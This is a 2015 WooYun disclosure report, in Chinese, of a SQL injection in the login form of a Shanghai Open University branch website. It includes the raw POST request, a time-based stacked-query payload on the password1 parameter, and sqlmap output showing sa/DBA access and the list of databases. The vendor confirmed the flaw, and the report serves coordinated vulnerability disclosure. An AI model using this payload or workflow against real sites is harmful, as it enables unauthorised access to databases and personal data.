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缺陷编号：wooyun-2015-0164532

漏洞标题：上海开放大学某站sql注入(DBA权限)

相关厂商：上海开放大学

漏洞作者： 路人甲

提交时间：2015-12-27 20:33

修复时间：2016-02-09 23:29

公开时间：2016-02-09 23:29

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-27： 细节已通知厂商并且等待厂商处理中
2015-12-28： 厂商已经确认，细节仅向厂商公开
2016-01-07： 细节向核心白帽子及相关领域专家公开
2016-01-17： 细节向普通白帽子公开
2016-01-27： 细节向实习白帽子公开
2016-02-09： 细节向公众公开

简要描述：

RT

详细说明：

http://hk.shtvu.edu.cn/  上海市虹口区业余大学 上海开放大学虹口分校


POST /iclass_hksc/login1.asp HTTP/1.1
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://hk.shtvu.edu.cn
Cookie: ASPSESSIONIDCCSTATSA=HPEFFPHBIDKCNBIDJPJCDAMG
Host: hk.shtvu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
password1=ZhYlJgAz&userid1=lonkxmhh


password1参数存在注入
太卡了...

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password1 (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: password1=ZhYlJgAz';WAITFOR DELAY '0:0:5'--&userid1=lonkxmhh
---
[10:14:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[10:14:30] [INFO] fetching current user
[10:14:30] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[10:14:57] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[10:15:09] [INFO] adjusting time delay to 3 seconds due to good response times
sa
current user:    'sa'
[10:15:37] [INFO] fetching current database
[10:15:37] [INFO] retrieved: infodb
current database:    'infodb'
[10:17:30] [INFO] testing if current user is DBA
current user is DBA:    True
[10:17:34] [INFO] fetching database names
[10:17:34] [INFO] fetching number of databases
[10:17:34] [INFO] retrieved: 12
[10:17:52] [INFO] retrieved: F
[10:18:46] [ERROR] invalid character detected. retrying..
[10:18:46] [WARNING] increasing time delay to 4 seconds
STKJGL
[10:20:44] [INFO] retrieved: iclass_
[10:23:31] [ERROR] invalid character detected. retrying..
[10:23:31] [WARNING] increasing time delay to 5 seconds
f_2007
[10:26:14] [INFO] retrieved: infodb
[10:28:43] [INFO] retrieved: khdata
[10:30:59] [INFO] retrieved: master
[10:33:18] [INFO] retrieved: model
[10:35:52] [INFO] retrieved: msdb
[10:37:38] [INFO] retrieved: N
[10:38:46] [ERROR] invalid character detected. retrying..
[10:38:46] [WARNING] increasing time delay to 6 seconds

漏洞证明：

修复方案：

多处存在注入，多处存在注入，多处存在注入

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2015-12-28 08:41

厂商回复：

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最新状态：

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